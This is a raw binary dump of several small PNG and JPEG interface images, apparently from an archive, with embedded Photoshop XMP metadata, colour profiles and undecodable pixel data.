                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>�.�� cHRMz%������u0�`:�o�_�FPIDATx��Zۑ�@l(�AA���!@")B!�P�nC��S�ه���RR�cv{��g�f���,p`�-�ox��T��`�0��y2z�8>i͘�*O��e<S
�{{�S�{2d���|�g/���n�H�G�cއ��C����'D���`��y,�O��2��ݿ�g"Rk��>�0�Tm���+�����<��E�q�suh�f�|9�'m�=IwPDu�=���^��9��L�d�cg�D����]N�3�}���"��(A�}ZaT��[�~^ŞvVy��(�r�r�v��}X|�R��ھ@�����ˆ��&��<)�U$:\�j�f`#T�Q(�(�E57l�&�M��͌tL�|I�K���F�s�t�QY�}C�f�>�i�^��F,�Ģ2u�{ms7����N[�Ѧm%;S���ˑ����ʧk�)�B�-�`�|�8n�h�#�}Y�(�[+t5��b\���1�U@6����%"A�Fڷ�w�������Ͳз�1��o0�
k�M
DZ*좨����3J�ȲH��t�&����2{�1W��5L��7�ʟ~��O�t1��ݯ��c�j���p��m2Co;Q,�H؞[�%S�g��dn�ӍC�k�T&�Oت�`��"�O�S��[�	�.Xc#&�:"h��Ul�d�y��1�wr`#)�(����0���]8�=Tn5
��S{�$�xo��,A�v��Դ߅`�܇��qN��_Y/�Ƚ�n:��N8R��{`hU�i4s���䐤������u�]�y�){���ȯ�r�`�IEND�B`�images/sort_both.png000060400000035405150710775200010531 0ustar00�PNG


IHDRrP6�	pHYs��9�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2014-01-24T03:10:13-08:00</xmp:CreateDate>
         <xmp:ModifyDate>2014-01-24T03:13:30-08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2014-01-24T03:13:30-08:00</xmp:MetadataDate>
         <xmpMM:InstanceID>xmp.iid:a25ed34b-2c8b-4244-a2bb-3e859baeea59</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:14C0396A22C111E1A1F1ADAD5B2A538C</xmpMM:DocumentID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:14C0396722C111E1A1F1ADAD5B2A538C</stRef:instanceID>
            <stRef:documentID>xmp.did:14C0396822C111E1A1F1ADAD5B2A538C</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:OriginalDocumentID>xmp.did:14C0396A22C111E1A1F1ADAD5B2A538C</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:a25ed34b-2c8b-4244-a2bb-3e859baeea59</stEvt:instanceID>
                  <stEvt:when>2014-01-24T03:13:30-08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>19</exif:PixelXDimension>
         <exif:PixelYDimension>19</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>�ќ cHRMz%������u0�`:�o�_�F�IDATx��ԱJA��oEQ�vj�+Ȃ>�bci�&��U��t�V���#(,y�إ����bmF�e �q/�����˙�UU����b��̢(~�p��3�����_���C��+���X�jg)�Ml׼}l4�-�K���&��p�����3u4p�Jh�P�=�2�nj�=��wM`%��V�_q�'Fc���RrV�
�Џq����K|�s�Q���z���.��)z4q�[�IEND�B`�images/blue@2x.png000060400000006221150710775200010021 0ustar00�PNG


IHDR`,[�b�XIDATx^��kpT����$$ �V$�J�IR���q&P� Ei#��h[���L�i�o��R���I+Jm�
Dj�DT�i�R�	7�*xYB�lؤ��Lf�<Ϟ<gs��f>���ͳ�9l�<9�${���8��Mb2F�1��@��Z��xe�ǍM�H���wǼ���<��@&�E!��1��"�#�'b.�7p}�S�[����0"]N��[�=�α�w���fH��1#��AR��a�/�{a0��U�(�,��,�E�3CQ,��F#���E����3�)��^�^[�2^ap��X��g��B$J�K�ʱ��uh����7�K�|���s0A�}�4!r��u��r��EHu�Ѐ�:�+v���t��/LC�#��*���җ!<
�׳��A,B!�M!�u�����77�>\�|$�|��d�\������^��c�C�(baߩ�.4�a��}���>܍lC;��e�*(��}K��.Ke�\�,��/C�����0ҥ�e����)Q&b�	�2��������,��b$Lg$��5��H�u07#ק]j%f���/Cx�dJe�Z���8�7�}�[�d�:*�)Ӧ�a體����3kC(��-��3I^k�M}�Z}܌1Z
0a_��!h�C��}��3���j����}Tb<R��cS_��������fa�b5�6�U��L�:3QE��;"չ�ӭ��r5� ����f��}]Tat�!~�kQ��0�:y�t3s�.Y
x_:h�E)&A7_�5�������c�'9�l��.ص��Qj΅D��w(��a����$Y5���xm�B��%y��0����70}��\LOb�5��q�B�p@{
�2����2��u���&a_�,5���x#��:�b5bP�G�["�2��$m�NA.Tُ?�E��ҋ�ɟ�FE��u&d��pT��,�@��\�;p~��\v��}KU_�(���lG=��l�h���%�7��T�e�`�>���E�[�8�4nSz�^Ӌ�d-��}�B_�oZh�K��gߗѪ���n��V{W�Gx ���Sx��'��[5������]��Ś��N��oP�Εn}��ok\C]g��:�5V�aQ�2v���p�V�M��A�K8|�FD~��v�ɤ\���耩t�a�e�}蛍{�
�
�"ۥ/k��0A��-���D�
ܒ��f�
܁��9��җ5]���p�{h����`��{�&tB7S4.��t���n�0ܷ��1L�015�X��c߱��Za:�em��o�o��(D�(�cw��V���8�S��L�#a8�����\��2��=0��{�/�R�}��#Q.��Q��?��j\K���j���f�Zq��(T#+��{������e�ގ0�����|e�ʀ�w!ܲ~e��n����<7q�f_u7�f�}����#
���QPe.3��A:�oC7�Q������Q�������ǿ����[
�T�;n�f���P�}ˠ�2S}�k^�D\��5��p�jk��X����i��WS���T��`�K��K�́[:�WN�-9��݌2�7�M�<���zLA��ǎ��W��ATԣc
ߐw����t��kԉ��?��5b�}>�W��'����w�����o@7��v�-��+C�.�}�@7���� �d�{-;1�����M�L���u�ć~]�S�R������j(�|n������
���`�����8S���/�$n�6�A���7i_��qv(Q��G�T�o�ϗ�k�'l^�����S/��6Tم���~����y�c���Q��1v*���� ]3�1�'��qq8|�en��8_f�
��=|�N��
L�A��nox�ۅ��mLG����{)2`:F��P�=�U�!|+�s��{�=�u��)�F������~;sqV���c~_�Uc5�3[c����1�����'E���Z}���!���J`:%��[���؄È���$�EL�u���"��k�� ������,���PY�-m��C�(jP���\�E�ٷ)�Џ�-Ӑ
Sɖ5�A�}c؎'�D<!�b��:8r5�bp��T8|��.����>�jփ�p�yX�C_?)k���M"v�+
l_��7����c���3��q��צ����g�נ9q��m�?�P��8�w"�L-�p�-X����QY�-QԥQ�&�4��^��~���q-5�&���?�:�Ev8|}Q�*d�j��6��*���<^vxA���.3��\_�(���Dr<^v��U�DĦ��~�upAM�@���o��m)�ۅ�&�C��c�D�B�
ǡʍhA�$�vhE5T9�_B�6}���cJ����w��t��t�����m&�]��SԷA�	����~�U��I\���{�
�A�L���z��ܫ3X�q��t�$��O���{�<d�<96��R>F'/�Ӧ��~���.�G������� 氍}]ԣw%1�	y��_=�h@��A�/Z1�%1خ&�-6�e���u�<�x�,�A�>�*܃�Hu��k+b}ߍ؏Tg?6�[_�D��v�&��ݍ�����W!�[�"R��5�P��1<�w���#���/�_e_Q<���tŹvؾt�J�x	��t:eS_���W�7b9��r�B'�b�nԣ~�Ϣۦ�_���i��G�ЅN.���W:%�n���t�mS_��nCb>��L縬=_1ҵoЀN�N���1[�2x7 ���/F-:u�E�nA:M�b}_}�pG�MT�*��I��-�E��A�,k���W�n��=���:p3"�qOޗ��l�|�T�3��=���M��׳cX�qX���X*k,0�K��o'6��y�W��|l���iS_����o�h@	nE�G7L�[�n��*�sP��{P�F���tb��4�{l��९Ѵa
1�@#v�st���X�<g2
�H��'���`3�a�`/>�W�����^l��.�fD�Y��(V
b]�v���`��wzm���E���Ȓ7}(�%
����e��	�B��s0	�B�0����
�G-IEND�B`�images/minimal@2x.png000060400000002602150710775200010517 0ustar00�PNG


IHDR�(�Q�`IIDATx^��Ml�E��~Pk��6�		QR��H�Ki5A��E�V��Ҋlԍؕ���j5&��Ҋ�M�bZ~ڈ!!��-�6��xn ��2�g�+ߊ̝�4�	�.�y�ZQYYY^Ey���q�ŋ��g�~�zb�����Dz���*�V�`5V`���O�GN`�5��/B�(�}���Hd��~$���YcB�l�CK$3Q�]�Bt���z���h��dS��ԗ[�i8�m���O}�jц
�q�D?��܏R��۰ɼ�&t;�S���%�i찀!��a��&`�����o�]8��1�O}��@yy����J��؀I��G�r�g�
�тX�mMr��Է�9]D��O؀!T�SL�U�ۣ$d��ԧd������-�wX���F����g��Z�O}��"��4*q	[p
s���Yۣ�}�S_����բ����]l�K��=k�Ч>��q�[@~�Џh�}�S�^ae�8x��2V�2�{lߏFT��׋��F�4?�|uq��}�a�c�4Z�aW�>��O�?��k��_)6a��{}m{W��+@3z1fzь�0}��7�!B'&L����H�r�!��(2�F����t����yh~�=�@���%�
p�;�Љ{��i~:@Dܬ�
����ۉ�,���}�_�WXz
e�Z(�Z��=d���.�wE�584��_�����%�����FQ�wX�O�K�
D7�<4?�ȴ��O77c�]����x��p�o��}�^E&�����J�Y�7��@_�C@��>�O���s�]����9�wgf�2��>�O�?�������w�,��r�����gP�[~�4? "nN FX�:k8�#}WQ��8�	s��������’�-��
�gT���s��%�0�C}SH���i~:@D�}�j��/=>�oYC�|��d�ާg�aEF���o~G0���_k��9�#��ԧ> "�f�d{����^h�L�>��OHx�ɮ���׍/p��wk���9�B��O}:@D2�}x?`�z-C��ч��}�S_��D$��1��q
�9H�k1h{�Lj��ԗ�9d�Id��38�'ы|�)���
��B��:�&�O}��
D����A�=�G#;,B#��}� j0��>��/Z"��N|�6��!|�c�����J��f��"D��Ч>�� 1�ԧ����ԣ	���f���`&)}�S�n "~̠Ô�yԠc����c8[�ԧ����R����0>5�O}��8vh�
KDDt������!U�f�IEND�B`�images/orange.png000060400000002756150710775200010004 0ustar00�PNG


IHDR�`���IDATx^��oh�e��:ә���%!EN�,��!&%�U��O��M5R"}*h�&I��J�5uj�!�E��S�Y�bS{��N“g�~[���y�v�������|ч�������n�L�l�F�L��Cl��?���ߝU����;�Ϳ�J=3cP�|�n��'���.���j�[!e��т�؈��2���oV]�i�X�I\�Y4Kv��O���X�x��"�77�K�%�o��)<�e��
x�\��Y,�����ڀ΢�CQ�€��1��e��vc����A��)O^o]Z�]<���A�!atYu���.tf��Ƀ&�n�x1hɤPg���垖#�.6�f64�u�<vDŽ�5cnZsu�&��x��Bw,�GՍ�^ƴ���=v�aw�v�X�2H��K�,
3|2e�U��0�%K�	��XV뽤]65�wy
�\/cZau{y����e&ЊRT�mҨ�J�j����X^o]�:&L�V�-HH��[�3��P�{�%��ƐkS���.�2��^󄜄��4��t��B���k��kq.C���\���������P�O�|�\���'�z{�n*L�Sph�g�����G8�z���-6ݽ�Lt�'�-v��a"��D��-��[��X�iCo����|��#0�f�	���س%�ݥx��K��w��M�0\Ǟ�;v�Q��R�q���x��y��,�.��͞fδ�臗3|I3�4��u���@��K�3˱k�g�:�I]��;���/�w��L�I	l��9���Q��8�8�@W��M�&��Ƣ�F����I5I�UT�kT���J�C;6�g-oM��<�F�u�-���Y��mK�tvt��^v���}���7���e,lS	T���JOL� �c=���:d�S�:��^��\��������p{��cw��4�ޥC�s;�Xؑ��z.�]����u��6����yDgM˩�@
�
	�n���M�ը��M�K�I������;���}�.o��
31�.��uh1_rlã#��|!ҪV��#�˃���0�e��Ѱ�1\��i�&c���{�w��U���c�7^�k�˛0��^��%�CJ��n��l\M�g�޺�:�H���Y��8�%��f�L�q-�.���^����M`�o�g0>���^]��:|�w�W�U4\K����O���4���k�
#A�޻,��@��eL+�n��nc�]�]|܅�J]�������ݍ�Quc؂E�rh�Jy:x��1���۠��.O	uI�-T�dPDg��M]���ێ�������v�]��v��)0؅+p�+��5�G\�]5�ԣ����$t͗jxﲼ�km�p����KN�:�f"��J��E$�ޫՙ�atY��]���f�:,���4�Mﲴ]����0�w�8$t��m�������߽�o�FY�EIEND�B`�images/zip.jpg000060400000042360150710775200007322 0ustar00���
@ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:26 00:13:10����a&(.	
HH���Adobe_CM��Adobed����			



��a�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��JR�ɽK��R��K�X�����|�Ӳ���������Sr�ϊ'A)���-����ѿ�C�?�E&��2��K���ast��~��/��O�?�ݜ-s�~K.��sYemi���C���mWT�Lm
���|���h��c=c���2k��a$Ҕ�A�K��R��K��R��K��R��K��R��K�i<�I�$�)UY�֪���RM)J�:tI4�)R�A�1����r,�f�B�>���T�\g���"CB��IX��[k��]q��W����M���m�V��Z豌��WC�����C�;v��}�y]O�e?ѱ�?�Z���6�M)J䩴�I�)J��I�)J��I�)J��I�)J��I�$kE?����Q��y��L�Q��%S%�M�&��� ���n��<t�)�x�x �Ⱥϯ�N&^/T5�׷��5�~u�~�ݭ���)u5����ݏksLH?��m��j�ȫ(Y���t��n^3C�}��K���un�����Yb�0��b��Xnih-���x�����]G�e�c���/�K�:J2��U�L���I�_��~��?�Wp!�0F���.�qu�Z}&������[��g�e}�#�8�|���	1䔢,Ux��5��l�F��)��꛺��o#��e���֗�
=��~D��Z�;v��˔��/������r{Xɔ8g��N_�@���
j,��L��G��9�c�����e_e���.e�8D�5��S������<g(�yx}�����cTV�,�ת��SY%JV=2IFRK�����%)L��6�N���4�)R�yQ��>d{N��;'��c������x���p��?j��[�V^���C���/
��_��h�}OS�nQ�zM�#��~ߣ�N���ٻ�,{����k����c�}L��#sZ_���~��B�=��-lP�[Z�I�l
���F77�O�����E��|��M)JiJW-M�fƗ��o.0��{�;q����2Y��e��8#B�ٕ?�Y�q����o���42Bfy��2#!�����1��)A���f�K뾶�A0x�uZ��6����r�oȝޫ�DN�1��.��,��q#�N<�(9l�1� �d')D�|��G��"F����}5��it��=��,�{���8�JN6<��s��8�zu�y�sYI��qTk�q��xo��N<B��^R�Ҕ��K�I�J�U?���$�yëK��$�K��t	��{���A�'C��t>x�������l�T��w3ӻ�l��-?�lp���[��6���2��-8����i׿�8,|������YX�n6x8M��n{e�Ku��d:7z���l�*��g�?�5hq54��	�^ߢ�I��W{�������`������~iy%I2K�nR�&I%R�&I%R�&I%R�&I%S$�$�ES����I����/9��.�m�-�**]3�1�ƇQ�KpL��0@1��N���� ����eu�+\x{7����w�w:�~�����n���G�@p��sEne� �ѳF��>�����e��:�-{KY��c!��#͛�;7�w�/�̫��F=`4�D1�I�����r���8?��9O�^I�M�%�.b�qt�n	n	QR�&�����M�%�%EK��pKpJ��	&�TiO���)������}�%�i ���G�~U�I'C�a#c�W��g�q��F���;����]�`�g����)���|IxK�l����4�S�/I%>���4�S�/I%>�9IxH�S���8Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMIa�
Untitled-1�anullboundsObjcRct1Top longLeftlongBtomlongaRghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongaRghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM	&�a���	
���Adobe_CM��Adobed����			



��a�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��JR�ɽK��R��K�X�����|�Ӳ���������Sr�ϊ'A)���-����ѿ�C�?�E&��2��K���ast��~��/��O�?�ݜ-s�~K.��sYemi���C���mWT�Lm
���|���h��c=c���2k��a$Ҕ�A�K��R��K��R��K��R��K��R��K�i<�I�$�)UY�֪���RM)J�:tI4�)R�A�1����r,�f�B�>���T�\g���"CB��IX��[k��]q��W����M���m�V��Z豌��WC�����C�;v��}�y]O�e?ѱ�?�Z���6�M)J䩴�I�)J��I�)J��I�)J��I�)J��I�$kE?����Q��y��L�Q��%S%�M�&��� ���n��<t�)�x�x �Ⱥϯ�N&^/T5�׷��5�~u�~�ݭ���)u5����ݏksLH?��m��j�ȫ(Y���t��n^3C�}��K���un�����Yb�0��b��Xnih-���x�����]G�e�c���/�K�:J2��U�L���I�_��~��?�Wp!�0F���.�qu�Z}&������[��g�e}�#�8�|���	1䔢,Ux��5��l�F��)��꛺��o#��e���֗�
=��~D��Z�;v��˔��/������r{Xɔ8g��N_�@���
j,��L��G��9�c�����e_e���.e�8D�5��S������<g(�yx}�����cTV�,�ת��SY%JV=2IFRK�����%)L��6�N���4�)R�yQ��>d{N��;'��c������x���p��?j��[�V^���C���/
��_��h�}OS�nQ�zM�#��~ߣ�N���ٻ�,{����k����c�}L��#sZ_���~��B�=��-lP�[Z�I�l
���F77�O�����E��|��M)JiJW-M�fƗ��o.0��{�;q����2Y��e��8#B�ٕ?�Y�q����o���42Bfy��2#!�����1��)A���f�K뾶�A0x�uZ��6����r�oȝޫ�DN�1��.��,��q#�N<�(9l�1� �d')D�|��G��"F����}5��it��=��,�{���8�JN6<��s��8�zu�y�sYI��qTk�q��xo��N<B��^R�Ҕ��K�I�J�U?���$�yëK��$�K��t	��{���A�'C��t>x�������l�T��w3ӻ�l��-?�lp���[��6���2��-8����i׿�8,|������YX�n6x8M��n{e�Ku��d:7z���l�*��g�?�5hq54��	�^ߢ�I��W{�������`������~iy%I2K�nR�&I%R�&I%R�&I%R�&I%S$�$�ES����I����/9��.�m�-�**]3�1�ƇQ�KpL��0@1��N���� ����eu�+\x{7����w�w:�~�����n���G�@p��sEne� �ѳF��>�����e��:�-{KY��c!��#͛�;7�w�/�̫��F=`4�D1�I�����r���8?��9O�^I�M�%�.b�qt�n	n	QR�&�����M�%�%EK��pKpJ��	&�TiO���)������}�%�i ���G�~U�I'C�a#c�W��g�q��F���;����]�`�g����)���|IxK�l����4�S�/I%>���4�S�/I%>�9IxH�S��8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-26T00:13:10-08:00" xmp:MetadataDate="2014-01-26T00:13:10-08:00" xmp:ModifyDate="2014-01-26T00:13:10-08:00" xmpMM:InstanceID="xmp.iid:09188429-d00c-2f42-ba05-e6b8b33ee431" xmpMM:DocumentID="xmp.did:391b8f12-d099-5f41-8036-65ef096c9af1" xmpMM:OriginalDocumentID="xmp.did:391b8f12-d099-5f41-8036-65ef096c9af1" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:391b8f12-d099-5f41-8036-65ef096c9af1" stEvt:when="2014-01-26T00:13:10-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:09188429-d00c-2f42-ba05-e6b8b33ee431" stEvt:when="2014-01-26T00:13:10-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed���		





��a������	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�s���5\N�+N�+N�+JW3�0<�^
7�$�@�~�3�3�j!��k�h��0�b��n�������ߐ�Z�E)˧>���Ie�3$�3�!L��A~�C�������$72�6_K��n!\�7S��ӫ�ӫ�ӫ�ӫ�ӫ�ӫ�ӫ�ӫ��h�k�ᩩ��9n<ӎє��A���S�"7wn傕ܱ�w,i]�T�Sd(iI�����r\:��j���Y����q���Im��a��ΐ�q�M��[�^�RV)��9�_{�7Q��eU��a{pv0}�����5��ǥ�9�ow,i]�Wrƕܱ�w,i]�Wrƕܱ�w,i]�����d���G��uFuF*�U��Xji��N�տ�m;\:�g�a�0�m�"��9�AӰ�5�Gs ^]���q_�<?�Y^�'��`�eFh[�Q���uF*�U���1WTb���]Q��\#������ϝ�޻�
K�cJ�Xһ�4�-h��k��
�3/@k<���'�X���0����
K��qkڣ܈߄�$�$p0�/�����@G�t�� ���xd�}G��ʙ�x_o�d�����\�QM��+�cJ�Xһ�4��+�cJ�Xһ�4��+�o�
